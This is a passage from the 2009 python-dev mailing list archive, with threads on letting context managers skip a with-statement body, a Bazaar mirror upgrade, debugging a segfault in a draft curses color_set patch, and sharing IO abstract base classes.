contextlib.nested (and contextlib.contextmanager) with the equivalent
nested with statements.

Specifically, the following examples behave differently if
cmB().__enter__() raises an exception which cmA().__exit__() then
handles (and suppresses):

  with cmA():
    with cmB():
      do_stuff()
  # This will resume here without executing "Do stuff"

  @contextlib.contextmanager
  def combined():
    with cmA():
      with cmB():
        yield

  with combined():
    do_stuff()
  # This will raise RuntimeError complaining that the underlying
  # generator didn't yield

  with contextlib.nested(cmA(), cmB()):
    do_stuff()
  # This will raise the same RuntimeError as the contextmanager
  # example (unsurprising, given the way nested() is implemented)

The problem arises any time it is possible to skip over the yield
statement in a contextlib.contextmanager based context manager without
raising an exception that can be seen by the code calling __enter__().

I think the right way to fix this (as suggested by the original poster
of the bug report) is to introduce a new flow control exception along
the lines of GeneratorExit (e.g. SkipContext) and tweak the expansion of
the with statement [2] to skip the body of the statement if __enter__()
throws that specific exception:

  mgr = (EXPR)
  exit = mgr.__exit__  # Not calling it yet
  try:
    value = mgr.__enter__()
  except SkipContext:
    pass # This exception handler is the new part...
  else:
    exc = True
    try:
      VAR = value  # Only if "as VAR" is present
      BLOCK
    except:
      # The exceptional case is handled here
      exc = False
      if not exit(*sys.exc_info()):
        raise
      # The exception is swallowed if exit() returns true
    finally:
      # The normal and non-local-goto cases are handled here
      if exc:
        exit(None, None, None)

Naturally, contextlib.contextmanager would then be modified to raise
SkipContext instead of RuntimeError if the generator doesn't yield. The
latter two examples would then correctly resume execution at the first
statement after the with block.

I don't see any other way to comprehensively fix the problem - without
it, there will always be some snippets of code which cannot correctly be
converted into context managers, and those snippets won't always be
obvious (e.g. the fact that combined() is potentially a broken context
manager implementation would surprise most people - it certainly
surprised me).

Thoughts? Do people hate the idea? Are there any backwards compatibility
problems that I'm missing? Should I write a PEP or just add the feature
to the with statement in 2.7/3.1?

Cheers,
Nick.

[1] http://bugs.python.org/issue5251

[2] http://www.python.org/dev/peps/pep-0343/
-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From barry at python.org  Wed Feb 25 15:23:54 2009
From: barry at python.org (Barry Warsaw)
Date: Wed, 25 Feb 2009 09:23:54 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
Message-ID: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 20, 2009, at 10:09 AM, Barry Warsaw wrote:

> I've just upgraded the Bazaar mirrors on code.python.org to use bzr  
> 1.12.  We now have the opportunity to upgrade the repository format  
> for better performance.  Because of the bzr-svn requirement, we need  
> a "rich root" format.  Upgrading to 1.9-rich-root could buy us some  
> significant performance improvements, but it will require all  
> clients to upgrade to at least bzr 1.9, which was released on  
> November 7, 2008.
>
> I would like to do this upgrade.  If you are currently using the  
> Bazaar mirrors at code.python.org and upgrading your client to at  
> least bzr 1.9 would be a hardship, please contact me.  If I don't  
> hear any objections by say Tuesday, I'll go ahead and do the repo  
> upgrades.

This is now done.  Please let me know if you have any problems with  
the mirrors.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaVUenEjvBPtnXfVAQLdZgP/XTSdEm7vos5hFugguEJ+T6hIuchgM8j8
YDCdC4IMH4J1SsSjOLNUOnlWA5miMpRJSriSeUvNhKgzJZBoNGo+wWpTRzItYtxR
6+iQAqgAGvvJMc2bIlgbnI9z/izyUw6PyxpE7FLLEnMOMWEbvFxBHWg1ndww804b
iz2sfrWZQpo=
=k3jC
-----END PGP SIGNATURE-----

From steve at integrityintegrators.net  Wed Feb 25 15:24:51 2009
From: steve at integrityintegrators.net (Heracles)
Date: Wed, 25 Feb 2009 06:24:51 -0800 (PST)
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <49A505D2.40004@denviso.de>
References: <22191916.post@talk.nabble.com> <49A505D2.40004@denviso.de>
Message-ID: <22203820.post@talk.nabble.com>


Ulrich,

Thanks for the input.  That is helpful to know.

H


Ulrich Berning-2 wrote:
> 
> Heracles wrote:
> 
>>Hello,
>>
>>I am working on a patch to add to the _cursesmodule.c file of the Python
>>core libraries.  I figured I would take on one of the implemented
functions
>>to try to get my feet wet contributing to the project.  At any rate, I
have
>>the following function defined in the 2.7.a version updated from SVN this
>>morning:
>>
>>------------- Snippet ---------------------------
>>// Insert new method color_set Steve Owens 2/24/2009
>>//   The curses library color_set function has the following signature:
>>//       int color_set(short color_pair_number, void* opts); 
>>static PyObject *
>>PyCurses_color_set(PyObject *self, PyObject *args)
>>{
>>   short color_pair_number;
>>   void * opts;
>>   int erg;
>>
>>   // These macros ought to be documented in the API docs
>>   // but they aren't yet.
>>   PyCursesInitialised
>>   PyCursesInitialisedColor
>>
>>   // Per ncurses Man Page: 
>>   //   The routine color_set sets the current color of the given window
>> to
>>   // the foreground/background combination described by the
>>color_pair_number. 
>>   // The parameter opts is reserved for future use, applications must
>>supply a 
>>   // null pointer. 
>>   switch(PyTuple_Size(args))
>>   {
>>   case 1:
>>	   // Dont make them pass a useless null pointer.
>>	   if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
>>	   break;
>>   case 2:
>>	   // Allow them to pass the opts pointer so that when ncurses is later
>>updated.
>>	   // This method will still work.
>>	   if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
>>NULL;	
>>	   break;
>>   default:
>>      PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2
>> arguments
>>(color_pair_number[, opts]?)");
>>	  return NULL;
>>   }
>>
>>   erg = color_set(color_pair_number, opts); // Debating on forcing null
>>here.
>>   
>>   if (erg == ERR) 
>>	  return PyCursesCheckERR(erg, "color_set");
>>   else
>>      PyInt_FromLong((long) 1L); 
>>}
>>-------------End  Snippet ---------------------------
>>
>>I also have the following added in (see last line of the snippet):
>>
>>------------- Snippet ---------------------------
>>static PyMethodDef PyCurses_methods[] = {
>>  {"baudrate",            (PyCFunction)PyCurses_baudrate, METH_NOARGS},
>>  {"beep",                (PyCFunction)PyCurses_beep, METH_NOARGS},
>>  {"can_change_color",    (PyCFunction)PyCurses_can_change_color,
>>METH_NOARGS},
>>  {"cbreak",              (PyCFunction)PyCurses_cbreak, METH_VARARGS},
>>  {"color_content",       (PyCFunction)PyCurses_Color_Content,
>>METH_VARARGS},
>>  {"color_pair",          (PyCFunction)PyCurses_color_pair, METH_VARARGS},
>>  {"color_set",           (PyCFunction)PyCurses_color_set, METH_VARARGS},
>>-------------End  Snippet ---------------------------
>>
>>The code compiles and installs fine, but when I run the following unit
test,
>>I get a segmentation fault:
>>
>>------------- Snippet ---------------------------
>>import unittest, curses
>>from test import test_support
>>
>>def testCursesColorSet(stdscrn):
>>   curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
>>   curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
>>   i = curses.color_set(1, NULL);
>>   stdscrn.addstr("RED/BLACK (%0)\n".format(i))
>>   i = curses.color_set(2, NULL);
>>   stdscrn.print("WHITE/BLUE (%0)\n".format(i))
>>   i = curses.color_set(0, NULL);
>>   stdscrn.print("Default (%0)\n".format(i))
>>
>>
>>def test_main(stdscrn):
>>   curses.savetty()
>>   if curses.has_color():
>>      testCursesColorSet(stdscrn)
>>   else
>>      stdscr.addstr( "Test Aborted: Color not supported on this
>> terminal.")
>>
>>
>>if __name__ == '__main__':
>>    curses.wrapper(test_main)
>>-------------End  Snippet ---------------------------
>>
>>It turns out that by commenting out this line in the _cursesmodule.c code,
>>allows the unit test to run 
>>obviously reporting the error as expected:
>>
>>------------- Snippet ---------------------------
>>//erg = color_set(color_pair_number, opts); // Debating on forcing null
>>here.
>>-------------End  Snippet ---------------------------
>>
>>At any rate I am stuck.  I am still trying to build just a plain C file
>>which will test the color_set function 
>>outside of python, but that is another task.
>>
>>Any suggestions?
>>
>>
>>  
>>
> As long as Python is written in C, please don't use C++ comments, some C 
> compilers don't like them.
> 
> Ulli
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 

-- 
View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22203820.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From steve at integrityintegrators.net  Wed Feb 25 15:30:06 2009
From: steve at integrityintegrators.net (Heracles)
Date: Wed, 25 Feb 2009 06:30:06 -0800 (PST)
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
Message-ID: <22203899.post@talk.nabble.com>


Thank you for your reply,

and no, that is not the exact code. I must have wiped out the return
statement when I copied it in.  The return statement is in the code.  Also
the code has been modified so that the call to color_set reads as follows:

erg = color_set(color_pair_number, NULL); // Debating on forcing null

Never the less, as I said in my earlier post, the above line is the exact
line where the error occurs.  This is provable simply because when the code
is compiled with that line commented out, it doesn't fail, and when the line
is commented back in it does fail. I am not sure exactly how a debugger will
help in this case since the color_set call goes directly to the ncurses
library.  If in fact that the issue is the ncurses library then it seems
that there is no feasible solution until that library is fixed, in which
case this patch is sort of useless.




Bugzilla from nnorwitz at gmail.com wrote:
> 
> On Tue, Feb 24, 2009 at 2:18 PM, Heracles
> <steve at integrityintegrators.net> wrote:
>>
>> Hello,
>>
>> I am working on a patch to add to the _cursesmodule.c file of the Python
>> core libraries. ?I figured I would take on one of the implemented
>> functions
>> to try to get my feet wet contributing to the project. ?At any rate, I
>> have
>> the following function defined in the 2.7.a version updated from SVN this
>> morning:
> 
> I'm glad you are interested in developing Python.  I'm not sure if
> this is the best forum.  OTOH, I'm not sure if comp.lang.python would
> be appropriate either.
> 
> I'd suggest making a proper patch and submitting it to
> http://bugs.python.org
> 
>> ------------- Snippet ---------------------------
>> // Insert new method color_set Steve Owens 2/24/2009
>> // ? The curses library color_set function has the following signature:
>> // ? ? ? int color_set(short color_pair_number, void* opts);
>> static PyObject *
>> PyCurses_color_set(PyObject *self, PyObject *args)
>> {
>> ? short color_pair_number;
>> ? void * opts;
>> ? int erg;
>>
>> ? // These macros ought to be documented in the API docs
>> ? // but they aren't yet.
>> ? PyCursesInitialised
>> ? PyCursesInitialisedColor
>>
>> ? // Per ncurses Man Page:
>> ? // ? The routine color_set sets the current color of the given window
>> to
>> ? // the foreground/background combination described by the
>> color_pair_number.
>> ? // The parameter opts is reserved for future use, applications must
>> supply a
>> ? // null pointer.
>> ? switch(PyTuple_Size(args))
>> ? {
>> ? case 1:
>> ? ? ? ? ? // Dont make them pass a useless null pointer.
>> ? ? ? ? ? if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return
>> NULL;
>> ? ? ? ? ? break;
>> ? case 2:
>> ? ? ? ? ? // Allow them to pass the opts pointer so that when ncurses is
>> later
>> updated.
>> ? ? ? ? ? // This method will still work.
>> ? ? ? ? ? if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts))
>> return
>> NULL;
>> ? ? ? ? ? break;
>> ? default:
>> ? ? ?PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2
>> arguments
>> (color_pair_number[, opts]?)");
>> ? ? ? ? ?return NULL;
>> ? }
>>
>> ? erg = color_set(color_pair_number, opts); // Debating on forcing null
>> here.
>>
>> ? if (erg == ERR)
>> ? ? ? ? ?return PyCursesCheckERR(erg, "color_set");
>> ? else
>> ? ? ?PyInt_FromLong((long) 1L);
> 
> I did a cursory review of the patch and if this is the exact code,
> this is a problem.  You are missing a return statement.  The compiler
> should have issued a warning for this too.
> 
>> }
>> -------------End ?Snippet ---------------------------
>>
>> I also have the following added in (see last line of the snippet):
>>
>> ------------- Snippet ---------------------------
>> static PyMethodDef PyCurses_methods[] = {
>> ?{"baudrate", ? ? ? ? ? ?(PyCFunction)PyCurses_baudrate, METH_NOARGS},
>> ?{"beep", ? ? ? ? ? ? ? ?(PyCFunction)PyCurses_beep, METH_NOARGS},
>> ?{"can_change_color", ? ?(PyCFunction)PyCurses_can_change_color,
>> METH_NOARGS},
>> ?{"cbreak", ? ? ? ? ? ? ?(PyCFunction)PyCurses_cbreak, METH_VARARGS},
>> ?{"color_content", ? ? ? (PyCFunction)PyCurses_Color_Content,
>> METH_VARARGS},
>> ?{"color_pair", ? ? ? ? ?(PyCFunction)PyCurses_color_pair, METH_VARARGS},
>> ?{"color_set", ? ? ? ? ? (PyCFunction)PyCurses_color_set, METH_VARARGS},
>> -------------End ?Snippet ---------------------------
>>
>> The code compiles and installs fine, but when I run the following unit
>> test,
>> I get a segmentation fault:
>>
>> ------------- Snippet ---------------------------
>> import unittest, curses
>> from test import test_support
>>
>> def testCursesColorSet(stdscrn):
>> ? curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
>> ? curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
>> ? i = curses.color_set(1, NULL);
>> ? stdscrn.addstr("RED/BLACK (%0)\n".format(i))
>> ? i = curses.color_set(2, NULL);
>> ? stdscrn.print("WHITE/BLUE (%0)\n".format(i))
>> ? i = curses.color_set(0, NULL);
>> ? stdscrn.print("Default (%0)\n".format(i))
>>
>>
>> def test_main(stdscrn):
>> ? curses.savetty()
>> ? if curses.has_color():
>> ? ? ?testCursesColorSet(stdscrn)
>> ? else
>> ? ? ?stdscr.addstr( "Test Aborted: Color not supported on this
>> terminal.")
>>
>>
>> if __name__ == '__main__':
>> ? ?curses.wrapper(test_main)
>> -------------End ?Snippet ---------------------------
>>
>> It turns out that by commenting out this line in the _cursesmodule.c
>> code,
>> allows the unit test to run
>> obviously reporting the error as expected:
>>
>> ------------- Snippet ---------------------------
>> //erg = color_set(color_pair_number, opts); // Debating on forcing null
>> here.
>> -------------End ?Snippet ---------------------------
>>
>> At any rate I am stuck. ?I am still trying to build just a plain C file
>> which will test the color_set function
>> outside of python, but that is another task.
>>
>> Any suggestions?
> 
> Beyond what I said above, typically you need to go the next step.
> Fire up a debugger and determine exactly where and why it's crashing.
> 
> Good luck!
> 
> n
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 

-- 
View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22203899.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From music24by7 at gmail.com  Wed Feb 25 16:12:43 2009
From: music24by7 at gmail.com (Sudhir Kakumanu)
Date: Wed, 25 Feb 2009 20:42:43 +0530
Subject: [Python-Dev] File Path retrieving problem
Message-ID: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com>

Hi all,
I am new to Python, i have installed python 2.5.4 and it is my requirement.

I need to retrieve the path of filename in python.

I have found some API's to get this:

from os.path import realpath
print realpath("NEWS.txt")  # here NEWS.txt exists and it shows the path of
the file as C:\Python25\WorkSpace\NEWS.txt
print realpath("abc.txt") # here abc.txt does not exist but still it
shows C:\Python25\WorkSpace\abc.txt

can anybody tell the reason why????


Now took some safety measures:

found = lexists(realpath(filename))
        if found == 0:
            print "Not Found"
        else:
            print realpath(filename)

i have given the filename as "NEWS.txt" and "abc.txt" but i am always
getting the output as "Not Found"


Can anyone please tell me where am i doing wrong????

also any suggestions to retrieve the filepath from a given filename is
highly appreciated.

Thanks in advance.


Regards,
Sudhir
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090225/9a104741/attachment.htm>

From p.f.moore at gmail.com  Wed Feb 25 16:22:49 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 25 Feb 2009 15:22:49 +0000
Subject: [Python-Dev] File Path retrieving problem
In-Reply-To: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com>
References: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com>
Message-ID: <79990c6b0902250722k5da4f324y89f635aa8a7072af@mail.gmail.com>

2009/2/25 Sudhir Kakumanu <music24by7 at gmail.com>:
> Hi all,
> I am new to Python, i have installed python 2.5.4 and it is my requirement.
> I need to retrieve the path of filename in python.

This list is for the developers of Python to discuss future changes to
the language and its implementation. It is not the correct list for
questions about using Python for developing applications.

You will probably get the assistance you require from the newsgroup
comp.lang.python (also available via the mailing list
python-list at python.org).

Paul.

From amk at amk.ca  Wed Feb 25 16:34:17 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 25 Feb 2009 10:34:17 -0500
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <22203899.post@talk.nabble.com>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
	<22203899.post@talk.nabble.com>
Message-ID: <20090225153417.GA9321@amk-desktop.matrixgroup.net>

On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote:
> is commented back in it does fail. I am not sure exactly how a debugger will
> help in this case since the color_set call goes directly to the ncurses
> library.  If in fact that the issue is the ncurses library then it seems
> that there is no feasible solution until that library is fixed, in which
> case this patch is sort of useless.
...
> erg = color_set(color_pair_number, NULL); // Debating on forcing null

What is color_pair_number in the C code?  If it's some incorrect value
(-1?  255?), maybe ncurses is indexing off an array and crashing.  

This is why a debugger might help; you could run the test program
until the crash and then print out the values of the relevant
variables.  e.g. is stdscr set to a non-NULL value?  There might be a
debugging version of ncurses that will let you look at the variables
inside the ncurses code, which may make the problem clear.

--amk


From solipsis at pitrou.net  Wed Feb 25 16:35:07 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 25 Feb 2009 15:35:07 +0000 (UTC)
Subject: [Python-Dev] Shared ABCs for the IO implementation
Message-ID: <loom.20090225T152841-48@post.gmane.org>

Hello,

I would like to know if both IO implementations (the C one and the Python one)
should share their ABCs (IOBase, RawIOBase, etc.). It looks preferable to me but
since I'm not very familiar with ABCs I'd like to be sure it's the good choice.

(of course, the *implementations* won't be shared at all. Just the virtual
inheritance information)

Regards

Antoine.



From tav at espians.com  Wed Feb 25 17:07:37 2009
From: tav at espians.com (tav)
Date: Wed, 25 Feb 2009 16:07:37 +0000
Subject: [Python-Dev] Paving the Way to Securing the Python Interpreter
	[Detailed Summary]
Message-ID: <eb24b25b0902250807m356bafb7w8117a53d25e4809@mail.gmail.com>

Dear fellow Python lovers,

I have written up a detailed summary on:

  http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html

Please read it.

In the article I give the rationale for my patch, which I've updated at:

* http://codereview.appspot.com/20051/show

Please review it. Consider it as simply a bug fix for the current set
of restricted attributes in Python.

In the article I also provide some much needed documentation on
Python's existing restricted execution framework. Martin asked for
this.

Fell free to adapt the documentation into Doc/ articles. You can find
the reStructuredText source of the article at
http://github.com/tav/blog/tree/master

Many thanks to everyone who took part in the challenge -- it was very
informative and fun!

Please let me know what else I need to do to get the patch accepted. Thanks!

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From techtonik at gmail.com  Wed Feb 25 17:10:47 2009
From: techtonik at gmail.com (anatoly techtonik)
Date: Wed, 25 Feb 2009 18:10:47 +0200
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <20090225153417.GA9321@amk-desktop.matrixgroup.net>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
	<22203899.post@talk.nabble.com>
	<20090225153417.GA9321@amk-desktop.matrixgroup.net>
Message-ID: <d34314100902250810v7f03205p9d460f1095601e39@mail.gmail.com>

Please note that there is a pending change that will introduce curses
module on Windows in http://bugs.python.org/issue2889  I would really
like to see the patch in the issue integrated before it became invalid
due to other patches to test curses on Windows.

On Wed, Feb 25, 2009 at 5:34 PM, A.M. Kuchling <amk at amk.ca> wrote:
> On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote:
>> is commented back in it does fail. I am not sure exactly how a debugger will
>> help in this case since the color_set call goes directly to the ncurses
>> library. ?If in fact that the issue is the ncurses library then it seems
>> that there is no feasible solution until that library is fixed, in which
>> case this patch is sort of useless.
> ...
>> erg = color_set(color_pair_number, NULL); // Debating on forcing null
>
> What is color_pair_number in the C code? ?If it's some incorrect value
> (-1? ?255?), maybe ncurses is indexing off an array and crashing.
>
> This is why a debugger might help; you could run the test program
> until the crash and then print out the values of the relevant
> variables. ?e.g. is stdscr set to a non-NULL value? ?There might be a
> debugging version of ncurses that will let you look at the variables
> inside the ncurses code, which may make the problem clear.
>
> --amk
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/techtonik%40gmail.com
>



-- 
--anatoly t.

From steve at integrityintegrators.net  Wed Feb 25 17:03:16 2009
From: steve at integrityintegrators.net (Heracles)
Date: Wed, 25 Feb 2009 08:03:16 -0800 (PST)
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <20090225153417.GA9321@amk-desktop.matrixgroup.net>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
	<22203899.post@talk.nabble.com>
	<20090225153417.GA9321@amk-desktop.matrixgroup.net>
Message-ID: <22205860.post@talk.nabble.com>


I took the suggestion and fired up a debugger and now I'm eating crow.

First of all, here is a complete listing of the method as it is written now:
------------------   Snippet -----------------------------------
static PyObject *
PyCurses_color_set(PyObject *self, PyObject *args)
{
   short color_pair_number = 0;
   void * opts = NULL;
   int erg = ERR;

   /* These macros ought to be documented in the API docs
       but they aren't yet. */
   PyCursesInitialised
   PyCursesInitialisedColor

   /* Per ncurses Man Page: 
       The routine color_set sets the current color of the given window to
       the foreground/background combination described by the
color_pair_number. 
       The parameter opts is reserved for future use, applications must
supply a 
        null pointer. */
   switch(PyTuple_Size(args))
   {
   case 1:
	   /* Dont make them pass a useless null pointer. */
	   if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
   case 2:
	   /* Allow them to pass the opts pointer so that when ncurses is later
updated.
	       This method will still work. */
	   if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
NULL;	
   default:
      PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
(color_pair_number[, opts]?)");
	  return NULL;
   }

   erg = color_set(color_pair_number, NULL); 
   
   if (erg == ERR) 
      return PyCursesCheckERR(erg, "color_set");
   else 
      return NULL; /* PyInt_FromLong((long) 1L); */
}
------------------  End Snippet -------------------------------------

Oddly enough, running the debugger showed me a different result than I
expected by my bracketing approach.  I falsely presumed that if by
commenting out the line where the call to color_set is made, and running the
program produces no segmentation fault, while commenting the same line back
in reprduces the segmentation fault, that I could deduce that the line thus
commented out was the source of the problem.  Stupid me, that is apparently
not the case.

Apparently the segmentation fault is produced by a call to
Python/getargs.c:Line 1207
   if(! (*convert)(arg,addr))

Which is invoked as a result of calling this line in the function listed
above:
  if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
NULL;	





A.M. Kuchling wrote:
> 
> On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote:
>> is commented back in it does fail. I am not sure exactly how a debugger
>> will
>> help in this case since the color_set call goes directly to the ncurses
>> library.  If in fact that the issue is the ncurses library then it seems
>> that there is no feasible solution until that library is fixed, in which
>> case this patch is sort of useless.
> ...
>> erg = color_set(color_pair_number, NULL); // Debating on forcing null
> 
> What is color_pair_number in the C code?  If it's some incorrect value
> (-1?  255?), maybe ncurses is indexing off an array and crashing.  
> 
> This is why a debugger might help; you could run the test program
> until the crash and then print out the values of the relevant
> variables.  e.g. is stdscr set to a non-NULL value?  There might be a
> debugging version of ncurses that will let you look at the variables
> inside the ncurses code, which may make the problem clear.
> 
> --amk
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 
:wistle::wistle::wistle:
-- 
View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22205860.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From guido at python.org  Wed Feb 25 18:29:56 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 25 Feb 2009 09:29:56 -0800
Subject: [Python-Dev] Shared ABCs for the IO implementation
In-Reply-To: <loom.20090225T152841-48@post.gmane.org>
References: <loom.20090225T152841-48@post.gmane.org>
Message-ID: <ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>

On Wed, Feb 25, 2009 at 7:35 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> I would like to know if both IO implementations (the C one and the Python one)
> should share their ABCs (IOBase, RawIOBase, etc.). It looks preferable to me but
> since I'm not very familiar with ABCs I'd like to be sure it's the good choice.
>
> (of course, the *implementations* won't be shared at all. Just the virtual
> inheritance information)

Without a shared ABC you'd defeat the whole point of having ABCs.

However, importing ABCs (which are defined in Python) from C code
(especially such fundamental C code as the I/O library) is really
subtle and best avoided.

In io.py I solved this by having a Python class inherit from both the
ABC (RawIOBase) and the implementation (_fileio._FileIO).

Another way to solve it would be to use the registration API for ABCs,
as found in _abcoll.py (e.g. MutableSequence.register(list)).

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From Scott.Daniels at Acm.Org  Wed Feb 25 19:09:08 2009
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 25 Feb 2009 10:09:08 -0800
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
Message-ID: <go41b9$c7k$1@ger.gmane.org>

Barry Warsaw wrote:
>> I've just upgraded the Bazaar mirrors on code.python.org to use bzr 
>> 1.12.  We now have the opportunity to upgrade the repository format 
>> for better performance.  Because of the bzr-svn requirement, we need a 
>> "rich root" format.  Upgrading to 1.9-rich-root could buy us some 
>> significant performance improvements, but it will require all clients 
>> to upgrade to at least bzr 1.9, which was released on November 7, 2008.
>>
>> I would like to do this upgrade.  If you are currently using the 
>> Bazaar mirrors at code.python.org and upgrading your client to at 
>> least bzr 1.9 would be a hardship, please contact me.  If I don't hear 
>> any objections by say Tuesday, I'll go ahead and do the repo upgrades.
> 
> This is now done.  Please let me know if you have any problems with the 
> mirrors.

I'd suggest updating the text at http://www.python.org/dev/bazaar/
In particular:

     What do I need?

     * Bazaar 1.0 or newer. As of this writing (04-Nov-2008) Bazaar 1.8
     is the most recent release. As Bazaar is written in Python (yay!),
     it is available for all major platforms, See the Bazaar home page
     for information about versions for your platform.

--Scott David Daniels
Scott.Daniels at Acm.Org


From brett at python.org  Wed Feb 25 19:43:38 2009
From: brett at python.org (Brett Cannon)
Date: Wed, 25 Feb 2009 10:43:38 -0800
Subject: [Python-Dev] Allow __enter__() methods to skip the with
	statement body?
In-Reply-To: <49A53881.3070908@gmail.com>
References: <49A53881.3070908@gmail.com>
Message-ID: <bbaeab100902251043j1fd1b9d2i404d1695f155dde1@mail.gmail.com>

On Wed, Feb 25, 2009 at 04:24, Nick Coghlan <ncoghlan at gmail.com> wrote:

> An interesting discrepancy [1] has been noted when comparing
> contextlib.nested (and contextlib.contextmanager) with the equivalent
> nested with statements.
>
> Specifically, the following examples behave differently if
> cmB().__enter__() raises an exception which cmA().__exit__() then
> handles (and suppresses):
>
>  with cmA():
>    with cmB():
>      do_stuff()
>  # This will resume here without executing "Do stuff"
>
>  @contextlib.contextmanager
>  def combined():
>    with cmA():
>      with cmB():
>        yield
>
>  with combined():
>    do_stuff()
>  # This will raise RuntimeError complaining that the underlying
>  # generator didn't yield
>
>  with contextlib.nested(cmA(), cmB()):
>    do_stuff()
>  # This will raise the same RuntimeError as the contextmanager
>  # example (unsurprising, given the way nested() is implemented)
>
> The problem arises any time it is possible to skip over the yield
> statement in a contextlib.contextmanager based context manager without
> raising an exception that can be seen by the code calling __enter__().
>
> I think the right way to fix this (as suggested by the original poster
> of the bug report) is to introduce a new flow control exception along
> the lines of GeneratorExit (e.g. SkipContext) and tweak the expansion of
> the with statement [2] to skip the body of the statement if __enter__()
> throws that specific exception:
>
>  mgr = (EXPR)
>  exit = mgr.__exit__  # Not calling it yet
>  try:
>    value = mgr.__enter__()
>  except SkipContext:
>    pass # This exception handler is the new part...
>  else:
>    exc = True
>    try:
>      VAR = value  # Only if "as VAR" is present
>      BLOCK
>    except:
>      # The exceptional case is handled here
>      exc = False
>      if not exit(*sys.exc_info()):
>        raise
>      # The exception is swallowed if exit() returns true
>    finally:
>      # The normal and non-local-goto cases are handled here
>      if exc:
>        exit(None, None, None)
>
> Naturally, contextlib.contextmanager would then be modified to raise
> SkipContext instead of RuntimeError if the generator doesn't yield. The
> latter two examples would then correctly resume execution at the first
> statement after the with block.
>
> I don't see any other way to comprehensively fix the problem - without
> it, there will always be some snippets of code which cannot correctly be
> converted into context managers, and those snippets won't always be
> obvious (e.g. the fact that combined() is potentially a broken context
> manager implementation would surprise most people - it certainly
> surprised me).
>
> Thoughts? Do people hate the idea?


No, but I do wonder how useful this truly is.


> Are there any backwards compatibility
> problems that I'm missing?


As long as the exception inherits from BaseException, no.


> Should I write a PEP or just add the feature
